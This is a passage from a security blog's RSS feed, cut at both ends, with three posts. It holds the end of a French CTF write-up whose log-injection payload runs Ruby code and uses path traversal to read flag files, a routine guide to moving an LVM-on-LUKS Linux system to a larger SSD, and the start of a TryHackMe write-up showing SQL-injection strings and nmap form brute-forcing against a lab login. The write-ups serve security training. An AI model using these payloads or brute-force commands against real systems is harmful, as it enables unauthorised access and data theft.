style="color:#ABB2BF">(f)}</span></span><span class="line"><span style="color:#7F848E;font-style:italic"># ../../../../../../../../../../../../../../../../tmp/app/logs/error.log</span></span></code></pre></div></div></figure><p>Note : ne pas oublier de remplacer <code>\n</code> par un véritable saut de ligne.</p><p>La version encodée en URL :</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>%0A%5D%5B1337%5D%20%3D%20%22noraj%22%2C%22rawsec%22%0ADir%5B%22%2Ftmp%2Fflag_*.txt%22%5D.each%20%7B%7Cf%7C%20puts%20File.read(f)%7D%0A%23%20..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fapp%2Flogs%2Ferror.log</span></span></code></pre></div></div></figure><p>Le journal d'évènement ci-dessous est donc un chemin de fichier valide équivalent à <code>/tmp/app/logs/error.log</code> et du code Ruby valide permetant de lire le drapeau.</p><figure class="shiki ruby"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#7F848E;font-style:italic"># Logfile created on 2025-09-06 23:37:31 +0000 by logger.rb/v1.6.4</span></span><span class="line"><span style="color:#E5C07B">I</span><span style="color:#ABB2BF">, [</span><span style="color:#D19A66">9</span><span style="color:#56B6C2">/</span><span style="color:#D19A66">6</span><span style="color:#56B6C2">/</span><span style="color:#D19A66">2025</span><span style="color:#7F848E;font-style:italic"> #4823]  INFO -- : Running bakup script </span></span><span class="line"><span style="color:#ABB2BF">][</span><span style="color:#D19A66">1337</span><span style="color:#ABB2BF">] </span><span style="color:#56B6C2">=</span><span style="color:#98C379"> "noraj"</span><span style="color:#ABB2BF">,</span><span style="color:#98C379">"rawsec"</span></span><span class="line"><span style="color:#E5C07B">Dir</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">"/tmp/flag_*.txt"</span><span style="color:#ABB2BF">].</span><span style="color:#61AFEF">each</span><span style="color:#ABB2BF"> {|</span><span style="color:#E06C75">f</span><span style="color:#ABB2BF">| </span><span style="color:#56B6C2">puts</span><span style="color:#E5C07B"> File</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">read</span><span style="color:#ABB2BF">(f)}</span></span><span class="line"><span style="color:#7F848E;font-style:italic"># ../../../../../../../../../../../../../../../../tmp/app/logs/error.log</span></span></code></pre></div></div></figure><p>Une version plus concise en (presque) une ligne de la solution se trouve ci-dessous.</p><figure class="shiki ruby"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#ABB2BF">\n</span></span><span class="line"><span style="color:#ABB2BF">][</span><span style="color:#D19A66">0</span><span style="color:#ABB2BF">]</span><span style="color:#56B6C2">=</span><span style="color:#D19A66">1</span><span style="color:#ABB2BF">,</span><span style="color:#D19A66">1</span><span style="color:#ABB2BF">;</span><span style="color:#E5C07B">Dir</span><span style="color:#ABB2BF">[</span><span style="color:#98C379">"/tmp/*.txt"</span><span style="color:#ABB2BF">].</span><span style="color:#61AFEF">each</span><span style="color:#ABB2BF">{|</span><span style="color:#E06C75">f</span><span style="color:#ABB2BF">| </span><span style="color:#56B6C2">puts</span><span style="color:#E5C07B"> File</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">read</span><span style="color:#ABB2BF">(f)}</span><span style="color:#7F848E;font-style:italic"># ../../../../../../../../../../../../../../../../tmp/app/logs/error.log</span></span></code></pre></div></div></figure><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>%0A%5D%5B0%5D%3D1%2C1%3BDir%5B%22%2Ftmp%2F*.txt%22%5D.each%7B%7Cf%7C%20puts%20File.read(f)%7D%23%20..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fapp%2Flogs%2Ferror.log</span></span></code></pre></div></div></figure><p>Le drapeau avait donc pour valeur : <code>FLAG{D0nt_Und3res7imate_a_L0g_1njection}</code>.</p><link rel="stylesheet" href="/css/folder.css" type="text/css"><script src="/js/folder.js" type="text/javascript" async></script>]]>
      </content:encoded>
    </item>
    <item>
      <title>Migrating LVM on LUKS system to a larger SSD</title>
      <link>https://blog.raw.pm/en/migrating-LVM-on-LUKS-system-to-a-larger-SSD/</link>
      <description>
        <![CDATA[<h2 id="Context">Context<a class="header-anchor" href="#Context">#</a></h2>
<p>I had a 720 GB SATA SSD that was nearly full, so I bought a 2]]>
      </description>
      <author>Alexandre ZANNI</author>
      <category domain="https://blog.raw.pm/categories/linux/">linux</category>
      <category domain="https://blog.raw.pm/categories/linux/archlinux/">archlinux</category>
      <category domain="https://blog.raw.pm/tags/linux/">linux</category>
      <category domain="https://blog.raw.pm/tags/archlinux/">archlinux</category>
      <category domain="https://blog.raw.pm/tags/lvm/">lvm</category>
      <category domain="https://blog.raw.pm/tags/ssd/">ssd</category>
      <pubDate>Mon, 22 Sep 2025 20:50:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h2 id="Context">Context<a class="header-anchor" href="#Context">#</a></h2><p>I had a 720 GB SATA SSD that was nearly full, so I bought a 2 TB NVMe SSD as an upgrade (both in storage and speed).</p><p>As the migration will force me to resize the partitions, this is an opportunity to fix them all.</p><p>Firstly, I initially sized my ESP (EFI system partition) to be 550 MB which seemed largely enough. But, you know… a kernel image is about 15 MB, an initramfs is between 40 MB and 80 MB, a fallback initramfs can be twice as big. So it's easy to reach ~ 200 MB per kernel, but when you begin to get 3 of them or more or want to keep several versions, you're quickly out of space. So I plan to double its size to 1 GB.</p><p>Secondly, as I use several VMs with a large amount of memory, 1–2 years ago, I upgraded from 16 GB of RAM to 32 GB. Now seems the good time to adjust my swap accordingly so I can hibernate again.</p><h2 id="Migration">Migration<a class="header-anchor" href="#Migration">#</a></h2><h3 id="Reconnaissance">Reconnaissance<a class="header-anchor" href="#Reconnaissance">#</a></h3><p>Let's list the disk before the migration to be sure not to mess up the wrong ones.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ sudo lshw -class disk -class storage -short</span></span><span class="line"><span>Chemin matériel          Périphérique  Classe         Description</span></span><span class="line"><span>====================================================================</span></span><span class="line"><span>/0/100/1.3/0/1/3/0.0.0    /dev/sdd        disk           2TB SSD 990 EVO Plus</span></span><span class="line"><span>/0/100/1.3/0.1/0.0.0      /dev/sdc        disk           720GB Q-720</span></span><span class="line"><span>[…]</span></span></code></pre></div></div></figure><p>So <code>/dev/sdc</code> is the old one and <code>/dev/sdd</code> the new one. The state of my system was like that:</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ lsblk</span></span><span class="line"><span>NAME             MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINTS</span></span><span class="line"><span>[…]</span></span><span class="line"><span>sdc                8:32   0 670,7G  0 disk</span></span><span class="line"><span>├─sdc1             8:33   0   550M  0 part  /boot</span></span><span class="line"><span>│                                           /efi</span></span><span class="line"><span>└─sdc2             8:34   0 670,2G  0 part</span></span><span class="line"><span>  └─cryptlvm     254:0    0 670,1G  0 crypt</span></span><span class="line"><span>    ├─myvg2-swap 254:1    0    16G  0 lvm   [SWAP]</span></span><span class="line"><span>    └─myvg2-root 254:2    0 654,1G  0 lvm   /</span></span><span class="line"><span>sdd                8:48   0   1,8T  0 disk</span></span></code></pre></div></div></figure><h3 id="Disk-copy">Disk copy<a class="header-anchor" href="#Disk-copy">#</a></h3><p>As we're migrating to a larger SSD, the first step is surprisingly easy: just copy the old disk to the new one!I'm not using <code>dd</code> because it's slow, instead I used <code>pv</code> which is faster and also displays a progression bar.</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#7F848E;font-style:italic"># As root</span></span><span class="line"><span style="color:#61AFEF">pv</span><span style="color:#ABB2BF"> &#x3C; </span><span style="color:#98C379">/dev/sdc</span><span style="color:#ABB2BF"> > </span><span style="color:#98C379">/dev/sdd</span></span></code></pre></div></div></figure><p>It took ~25 minutes to complete (old disk over SATA, new disk over USB).</p><h3 id="Partition-table-fix">Partition table fix<a class="header-anchor" href="#Partition-table-fix">#</a></h3><p>Then we can repair partition table on the new disk, we'll get new GUID.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>$ gdisk /dev/sdd</span></span><span class="line"><span>Partition table scan:</span></span><span class="line"><span>  MBR: protective</span></span><span class="line"><span>  BSD: not present</span></span><span class="line"><span>  APM: not present</span></span><span class="line"><span>  GPT: present</span></span><span class="line"><span></span></span><span class="line"><span>Found valid GPT with protective MBR; using GPT.</span></span><span class="line"><span></span></span><span class="line"><span>Command (? for help): w</span></span><span class="line"><span>Warning! Secondary header is placed too early on the disk! Do you want to</span></span><span class="line"><span>correct this problem? (Y/N): Y</span></span><span class="line"><span>Have moved second header and partition table to correct location.</span></span><span class="line"><span></span></span><span class="line"><span>Final checks complete. About to write GPT data. THIS WILL OVERWRITE EXISTING</span></span><span class="line"><span>PARTITIONS!!</span></span><span class="line"><span></span></span><span class="line"><span>Do you want to proceed? (Y/N): Y</span></span><span class="line"><span>OK; writing new GUID partition table (GPT) to /dev/sdc.</span></span><span class="line"><span>The operation has completed successfully.</span></span></code></pre></div></div></figure><p>So, after the disk copy, our system is like below, the disk was well copied on the new disk, but the partitions are the same size, and there are a lot of unused space. So we'll need to resize partitions after that.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ lsblk</span></span><span class="line"><span>NAME             MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINTS</span></span><span class="line"><span>[…]</span></span><span class="line"><span>sdc                8:32   0 670,7G  0 disk</span></span><span class="line"><span>├─sdc1             8:33   0   550M  0 part</span></span><span class="line"><span>└─sdc2             8:34   0 670,2G  0 part</span></span><span class="line"><span>sdd                8:48   0   1,8T  0 disk</span></span><span class="line"><span>├─sdd1             8:49   0   550M  0 part</span></span><span class="line"><span>└─sdd2             8:50   0 670,2G  0 part</span></span></code></pre></div></div></figure><h2 id="Partitions-resizing-ESP-LUKS">Partitions resizing (ESP &amp; LUKS)<a class="header-anchor" href="#Partitions-resizing-ESP-LUKS">#</a></h2><p>I choose to go the easy way, by using a GUI.</p><p>Reboot to the old SSD, and launch GParted (Unfortunately KDE partition manager doesn't support resizing FAT32 or LUKS).</p><p>I want to take the chance to enlarge my ESP, so:</p><ol><li>I moved the LUKS partition (sdd2) of 450 MB to the right,</li><li>then extended my ESP (sdd1) with the newly unallocated 450 MB between the ESP and the LUKS partition</li><li>and then we can extend the LUKS partition with the remaining trailing space.</li></ol><p>If GParted offers to repair GPT partition table to use the whole space, accept it. The operation took about 1 hour (over USB).</p><h2 id="LVM-volumes-resizing-SWAP-and-root-FS">LVM volumes resizing (SWAP and root FS)<a class="header-anchor" href="#LVM-volumes-resizing-SWAP-and-root-FS">#</a></h2><p>Reboot to an ArchLinx USB key. With only the new disk's LUKS opened (don't boot from the old SSD, else there will be some partition UUID or LVM virtual groups conflicts), then open the new SSD's LUKS partition.</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">sudo</span><span style="color:#98C379"> cryptsetup</span><span style="color:#98C379"> open</span><span style="color:#98C379"> /dev/sdd2</span><span style="color:#98C379"> cryptlvm2</span></span></code></pre></div></div></figure><p>Activate the LVM volume group:</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">sudo</span><span style="color:#98C379"> vgchange</span><span style="color:#D19A66"> -ay</span></span></code></pre></div></div></figure><p>Resize the physical volume to take all the partition remaining space:</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">sudo</span><span style="color:#98C379"> pvresize</span><span style="color:#98C379"> /dev/mapper/cryptlvm2</span></span></code></pre></div></div></figure><p>I'll take the chance to resize my Swap too (16 -&gt; 32 GB) as I upgraded my RAM. It needs reformatting to take all the space of the updated swap partition.</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">sudo</span><span style="color:#98C379"> lvextend</span><span style="color:#D19A66"> -L</span><span style="color:#98C379"> +16G</span><span style="color:#98C379"> /dev/myvg/swap</span></span><span class="line"><span style="color:#61AFEF">sudo</span><span style="color:#98C379"> mkswap</span><span style="color:#98C379"> /dev/myvg/swap</span></span></code></pre></div></div></figure><p>Reformatting the swap will reset the partition UUID that will need to be reflected in <code>/etc/fstab</code>.</p><p>Extend the logical volume to take all the physical volume remaining space:</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">sudo</span><span style="color:#98C379"> lvextend</span><span style="color:#D19A66"> -l</span><span style="color:#98C379"> +100%FREE</span><span style="color:#98C379"> /dev/myvg/root</span></span></code></pre></div></div></figure><p>Resize the filesystem:</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">sudo</span><span style="color:#98C379"> e2fsck</span><span style="color:#D19A66"> -f</span><span style="color:#D19A66"> -y</span><span style="color:#98C379"> /dev/mapper/myvg-root</span></span><span class="line"><span style="color:#61AFEF">sudo</span><span style="color:#98C379"> resize2fs</span><span style="color:#98C379"> /dev/mapper/myvg-root</span></span></code></pre></div></div></figure><link rel="stylesheet" href="/css/folder.css" type="text/css"><script src="/js/folder.js" type="text/javascript" async></script>]]>
      </content:encoded>
    </item>
    <item>
      <title>Lesson Learned? - Write-up - TryHackMe</title>
      <link>https://blog.raw.pm/en/TryHackMe-Lesson-Learned-write-up/</link>
      <description>
        <![CDATA[<h1>Information</h1>
<h2 id="Room">Room<a class="header-anchor" href="#Room">#</a></h2>
<ul>
<li><strong>Name:</strong> Lesson Learned?</li>]]>
      </description>
      <author>Alexandre ZANNI</author>
      <category domain="https://blog.raw.pm/categories/writeups/">writeups</category>
      <category domain="https://blog.raw.pm/tags/security/">security</category>
      <category domain="https://blog.raw.pm/tags/web/">web</category>
      <category domain="https://blog.raw.pm/tags/writeups/">writeups</category>
      <category domain="https://blog.raw.pm/tags/sql/">sql</category>
      <category domain="https://blog.raw.pm/tags/thm/">thm</category>
      <category domain="https://blog.raw.pm/tags/bruteforce/">bruteforce</category>
      <pubDate>Sun, 20 Jul 2025 00:22:11 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h1>Information</h1><h2 id="Room">Room<a class="header-anchor" href="#Room">#</a></h2><ul><li><strong>Name:</strong> Lesson Learned?</li><li><strong>Profile:</strong> <a href="https://tryhackme.com/room/lessonlearned">tryhackme.com</a></li><li><strong>Difficulty:</strong> Easy</li><li><strong>Description</strong>: Have you learned your lesson?</li></ul><p><img src="/images/TryHackMe/lessonlearned.png" alt="Lesson Learned?"></p><h1>Write-up</h1><h2 id="Overview">Overview<a class="header-anchor" href="#Overview">#</a></h2><p>Install tools used in this WU on <a href="https://blackarch.org">BlackArch Linux</a>:</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">sudo</span><span style="color:#98C379"> pacman</span><span style="color:#D19A66"> -S</span><span style="color:#98C379"> nmap</span><span style="color:#98C379"> legba</span></span></code></pre></div></div></figure><div style="width: [width];margin: 0 auto">    <canvas id="chart7275" style="height: [height]px"></canvas></div><script src="https://cdn.jsdelivr.net/npm/chart.js@2.9.3/dist/Chart.min.js"></script><script type="text/javascript">    var ctx = document.getElementById('chart7275').getContext('2d');    var options = {  type: 'polarArea',  responsive: false,  data: {    labels: ['Enumeration', 'Real-Life', 'Well-Known Vulnerabilities', 'Custom Exploitation', 'CTF-Like', 'Scripting'],    datasets: [{      label: 'Box rating',      backgroundColor: [        'rgba(54, 163, 235, 0.5)',        'rgba(255, 99, 132, 0.5)',        'rgba(75, 192, 192, 0.5)',        'rgba(255, 205, 86, 0.5)',        'rgba(68, 205, 58, 0.5)',        'rgba(244, 81, 30, 0.5)'      ],      borderColor: [        'rgba(54, 163, 235, 1)',        'rgba(255, 99, 132, 1)',        'rgba(75, 192, 192, 1)',        'rgba(255, 205, 86, 1)',        'rgba(68, 205, 58, 1)',        'rgba(244, 81, 30, 1)'      ],      data: [        4,        2,        0,        3,        3,        0      ]    }]  },  options: {    legend: {      position: 'right',      labels: {        fontSize: 25      }    },    scale: {      ticks: {        beginAtZero: true,        stepSize: 1,        suggestedMax: 5      }    }  }};;    new Chart(ctx, options);</script><h2 id="Network-reconnaissance">Network reconnaissance<a class="header-anchor" href="#Network-reconnaissance">#</a></h2><p>Let's add a hostname to this machine.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ grep lessonlearned /etc/hosts</span></span><span class="line"><span>10.10.89.15 lessonlearned.thm</span></span></code></pre></div></div></figure><p>Identify port and services with nmap:</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span># Nmap 7.97 scan initiated Sun Jul 20 19:03:53 2025 as: nmap -sSVC -T4 -p- -v --open --reason -oA nmap lessonlearned.thm</span></span><span class="line"><span>Nmap scan report for lessonlearned.thm (10.10.89.15)</span></span><span class="line"><span>Host is up, received echo-reply ttl 63 (0.069s latency).</span></span><span class="line"><span>Not shown: 65244 closed tcp ports (reset), 289 filtered tcp ports (no-response)</span></span><span class="line"><span>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit</span></span><span class="line"><span>PORT   STATE SERVICE REASON         VERSION</span></span><span class="line"><span>22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)</span></span><span class="line"><span>| ssh-hostkey:</span></span><span class="line"><span>|   3072 2e:54:89:ae:f7:91:4e:33:6e:10:89:53:9c:f5:92:db (RSA)</span></span><span class="line"><span>|   256 dd:2c:ca:fc:b7:65:14:d4:88:a3:6e:55:71:65:f7:2f (ECDSA)</span></span><span class="line"><span>|_  256 2b:c2:d8:1b:f4:7b:e5:78:53:56:01:9a:83:f3:79:81 (ED25519)</span></span><span class="line"><span>80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.54 ((Debian))</span></span><span class="line"><span>| http-methods:</span></span><span class="line"><span>|_  Supported Methods: GET HEAD POST OPTIONS</span></span><span class="line"><span>|_http-server-header: Apache/2.4.54 (Debian)</span></span><span class="line"><span>|_http-title: Lesson Learned?</span></span><span class="line"><span>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</span></span><span class="line"><span></span></span><span class="line"><span>Read data files from: /usr/bin/../share/nmap</span></span><span class="line"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .</span></span><span class="line"><span># Nmap done at Sun Jul 20 19:04:33 2025 -- 1 IP address (1 host up) scanned in 40.21 seconds</span></span></code></pre></div></div></figure><p>The ssh server is probably there just here for the box conception.</p><h2 id="Web-reconnaissance">Web reconnaissance<a class="header-anchor" href="#Web-reconnaissance">#</a></h2><p>The box description said:</p><blockquote><p>Treat this box as if it were a real target and not a CTF.</p><p>Get past the login screen and you will find the flag. There are no rabbit holes, no hidden files, just a login page and a flag. Good luck!</p></blockquote><p>So there is no need for fuzzing, let's attack the login form directly.</p><p>Injecting a single quote does nothing in particular but injecting <code>' or 1=1-- -</code> in the username returns a big red message, teaching you a lesson…</p><blockquote><p>Oops! It looks like you injected an OR 1=1 or similar into the username field. This wouldn't have bypassed the login because every row in the users table was returned, and the login check only proceeds if one row matches the query.</p><p>However, your injection also made it into a DELETE statement, and now the flag is gone. Like, completely gone. You need to reset the box to restore it, sorry.</p><p>OR 1=1 is dangerous and should almost never be used for precisely this reason. Not even SQLmap uses OR unless you set --risk=3 (the maximum). Be better. Be like SQLmap.</p><p>Lesson learned?</p><p>P.S. maybe there is less destructive way to bypass the login...</p></blockquote><p>After resetting the machine, injecting <code>' -- -</code> in the username or password always returns <code>Invalid username and password.</code>.</p><p>But if we pay attention to the message, it's <code>Invalid username AND password</code> not <code>Invalid username OR password</code>. So we may start by brute-forcing a correct username and see if we get a different error message.</p><h2 id="Web-form-brute-force-experiments">Web form brute-force experiments<a class="header-anchor" href="#Web-form-brute-force-experiments">#</a></h2><p>For brute-forcing a web form, I could have used one of the classic: hydra, medusa, burp suite, wfuzz or even ffuf.</p><ul><li>hydra: works well but I don't like the syntax much</li><li>medusa: works well, has a nice range of protocol supported, bit is quite limited, it's impossible to apply advanced filters (response time, output regexp, output size, etc.)</li><li>burp suite: heavy (especially in a VM), doesn't like heavy wordlist, changing wordlist is long and requires a lot off clicks, not a CLI</li><li>wfuzz: unmaintained for years (since 2020), I don't like the output</li><li>ffuf: nice, can do anything, but it's not designed for that, with ffuf it's easy when it's a classic user/pass POST form but can't do anything if the form is handled via JS or there are multi-steps stuff etc. So I want to see if I can find something smart. Also, ffuf works only for HTTP, like hydra I'd like something multi-protocol, also working for ssh, ftp and so on.</li></ul><p>Some once famous tools like Nozzlr, BruteX are abandoned. I'd want to use something maintained.</p><p>I wanted to test <a href="https://nmap.org/ncrack/">ncrack</a> developed by the nmap team but they abandoned it in favor of nmap LUA scripts.So I'll test the nmap scripts, they are really underrated.</p><p><a href="https://github.com/evilsocket/legba">Legba</a> seems smart, so I'll test it too.</p><h3 id="Nmap-script">Nmap script<a class="header-anchor" href="#Nmap-script">#</a></h3><p>To list nmap scripts, the easiest way is to use find, for example to list brute-force ones:</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ find /usr/share/nmap/scripts -type f -name '*brute*'</span></span><span class="line"><span>/usr/share/nmap/scripts/oracle-sid-brute.nse</span></span><span class="line"><span>/usr/share/nmap/scripts/http-joomla-brute.nse</span></span><span class="line"><span>/usr/share/nmap/scripts/socks-brute.nse</span></span><span class="line"><span>/usr/share/nmap/scripts/domcon-brute.nse</span></span><span class="line"><span>/usr/share/nmap/scripts/cics-user-brute.nse</span></span><span class="line"><span>/usr/share/nmap/scripts/http-proxy-brute.nse</span></span><span class="line"><span>/usr/share/nmap/scripts/ldap-brute.nse</span></span><span class="line"><span>/usr/share/nmap/scripts/http-brute.nse</span></span><span class="line"><span>/usr/share/nmap/scripts/irc-brute.nse</span></span><span class="line"><span>/usr/share/nmap/scripts/mikrotik-routeros-username-brute.nse</span></span><span class="line"><span>/usr/share/nmap/scripts/nessus-brute.nse</span></span><span class="line"><span>/usr/share/nmap/scripts/sip-brute.nse</span></span><span class="line"><span>/usr/share/nmap/scripts/ajp-brute.nse</span></span><span class="line"><span>/usr/share/nmap/scripts/http-wordpress-brute.nse</span></span><span class="line"><span>/usr/share/nmap/scripts/nje-pass-brute.nse</span></span><span class="line"><span>/usr/share/nmap/scripts/nessus-xmlrpc-brute.nse</span></span><span class="line"><span>/usr/share/nmap/scripts/cassandra-brute.nse</span></span><span class="line"><span>/usr/share/nmap/scripts/http-form-brute.nse</span></span><span class="line"><span>/usr/share/nmap/scripts/vmauthd-brute.nse</span></span><span class="line"><span>/usr/share/nmap/scripts/imap-brute.nse</span></span><span class="line"><span>/usr/share/nmap/scripts/rlogin-brute.nse</span></span><span class="line"><span>/usr/share/nmap/scripts/backorifice-brute.nse</span></span><span class="line"><span>[…]</span></span></code></pre></div></div></figure><p>The ones for HTTP:</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ find /usr/share/nmap/scripts -type f -name '*http*brute*'</span></span><span class="line"><span>/usr/share/nmap/scripts/http-joomla-brute.nse</span></span><span class="line"><span>/usr/share/nmap/scripts/http-proxy-brute.nse</span></span><span class="line"><span>/usr/share/nmap/scripts/http-brute.nse</span></span><span class="line"><span>/usr/share/nmap/scripts/http-wordpress-brute.nse</span></span><span class="line"><span>/usr/share/nmap/scripts/http-form-brute.nse</span></span><span class="line"><span>/usr/share/nmap/scripts/http-iis-short-name-brute.nse</span></span></code></pre></div></div></figure><p>Note <code>http-brute</code> is for HTTP basic auth (or digest, NTLM). For web form, use <code>http-form-brute</code>.</p><p>To get the documentation for that script, just use <code>--script-help</code> argument.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ nmap --script-help http-form-brute</span></span><span class="line"><span>Starting Nmap 7.97 ( https://nmap.org ) at 2025-07-20 20:12 +0200</span></span><span class="line"><span></span></span><span class="line"><span>http-form-brute</span></span><span class="line"><span>Categories: intrusive brute</span></span><span class="line"><span>https://nmap.org/nsedoc/scripts/http-form-brute.html</span></span><span class="line"><span>  Performs brute force password auditing against http form-based authentication.</span></span><span class="line"><span></span></span><span class="line"><span>  This script uses the unpwdb and brute libraries to perform password</span></span><span class="line"><span>  guessing. Any successful guesses are stored in the nmap registry, using</span></span><span class="line"><span>  the creds library, for other scripts to use.</span></span><span class="line"><span></span></span><span class="line"><span>  The script automatically attempts to discover the form method, action, and</span></span><span class="line"><span>  field names to use in order to perform password guessing. (Use argument</span></span><span class="line"><span>  path to specify the page where the form resides.) If it fails doing so</span></span><span class="line"><span>  the form components can be supplied using arguments method, path, uservar,</span></span><span class="line"><span>  and passvar. The same arguments can be used to selectively override</span></span><span class="line"><span>  the detection outcome.</span></span><span class="line"><span></span></span><span class="line"><span>  The script contains a small database of known web apps' form information. This</span></span><span class="line"><span>  improves form detection and also allows for form mangling and custom success</span></span><span class="line"><span>  detection functions. If the script arguments aren't expressive enough, users</span></span><span class="line"><span>  are encouraged to edit the database to fit.</span></span><span class="line"><span></span></span><span class="line"><span>  After attempting to authenticate using a HTTP GET or POST request the script</span></span><span class="line"><span>  analyzes the response and attempts to determine whether authentication was</span></span><span class="line"><span>  successful or not. The script analyzes this by checking the response using</span></span><span class="line"><span>  the following rules:</span></span><span class="line"><span></span></span><span class="line"><span>  1. If the response was empty the authentication was successful.</span></span><span class="line"><span>  2. If the onsuccess argument was provided then the authentication either</span></span><span class="line"><span>     succeeded or failed depending on whether the response body contained</span></span><span class="line"><span>     the message/pattern passed in the onsuccess argument.</span></span><span class="line"><span>  3. If no onsuccess argument was passed, and if the onfailure argument</span></span><span class="line"><span>     was provided then the authentication either succeeded or failed</span></span><span class="line"><span>     depending on whether the response body does not contain</span></span><span class="line"><span>     the message/pattern passed in the onfailure argument.</span></span><span class="line"><span>  4. If neither the onsuccess nor onfailure argument was passed and the</span></span><span class="line"><span>     response contains a form field named the same as the submitted</span></span><span class="line"><span>     password parameter then the authentication failed.</span></span><span class="line"><span>  5. Authentication was successful.</span></span></code></pre></div></div></figure><p>Then scripts' arguments are passed with <code>--script-args=</code>.</p><p>Note that auto-detection should work fine on an easy case like this one but I'll use explicitly all arguments manually for learning purpose.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ nmap --script http-form-brute \</span></span><span class="line"><span>        --script-args \</span></span><span class="line"><span>            "http-form-brute.path='/',</span></span><span class="line"><span>            http-form-brute.onfailure='Invalid username and password.',</span></span><span class="line"><span>            http-form-brute.passvar=password,</span></span><span class="line"><span>            http-form-brute.uservar=username,</span></span><span class="line"><span>            http-form-brute.method=POST,</span></span><span class="line"><span>            userdb=/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt,</span></span><span class="line"><span>            passdb=pass.txt,</span></span><span class="line"><span>            unpwdb.timelimit=30s,</span></span><span class="line"><span>            brute.useraspass=false" \</span></span><span class="line"><span>        -p 80 \</span></span><span class="line"><span>        lessonlearned.thm</span></span><span class="line"><span>[…]</span></span><span class="line"><span>PORT   STATE SERVICE</span></span><span class="line"><span>80/tcp open  http</span></span><span class="line"><span>| http-form-brute:</span></span><span class="line"><span>|   Accounts:</span></span><span class="line"><span>|     martin:noraj - Valid credentials</span></span><span class="line"><span>|     patrick:noraj - Valid credentials</span></span><span class="line"><span>|_  Statistics: Performed 133 guesses in 30 seconds, average tps: 4.5</span></span></code></pre></div></div></figure><p>Note: <code>pass.txt</code> contains just one random password since it's not possible to specify a fixed password but only a password file.</p><p>Let's try with everything by default to see if autodetection works.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ nmap --script http-form-brute \</span></span><span class="line"><span>        -p 80 \</span></span><span class="line"><span>        lessonlearned.thm</span></span><span class="line"><span>[…]</span></span><span class="line"><span>PORT   STATE SERVICE</span></span><span class="line"><span>80/tcp open  http</span></span><span class="line"><span>| http-form-brute:</span></span><span class="line"><span>|   Accounts: No valid accounts found</span></span><span class="line"><span>|   Statistics: Performed 504 guesses in 148 seconds, average tps: 4.3</span></span><span class="line"><span>|_  ERROR: The service seems to have failed or is heavily firewalled...</span></span></code></pre></div></div></figure><p>The attack worked but found nothing, it's because the default userlist <code>/usr/share/nmap/nselib/data/usernames.lst</code> is very short and does not contain any valid username:</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>root</span></span><span class="line"><span>admin</span></span><span class="line"><span>administrator</span></span><span class="line"><span>webadmin</span></span><span class="line"><span>sysadmin</span></span><span class="line"><span>netadmin</span></span><span class="line"><span>guest</span></span><span class="line"><span>user</span></span><span class="line"><span>web</span></span><span class="line"><span>test</span></span></code></pre></div></div></figure><p>To verify the theory, let's just specify a user list:</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ nmap --script http-form-brute \</span></span><span class="line"><span>        --script-args "userdb=/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt" \</span></span><span 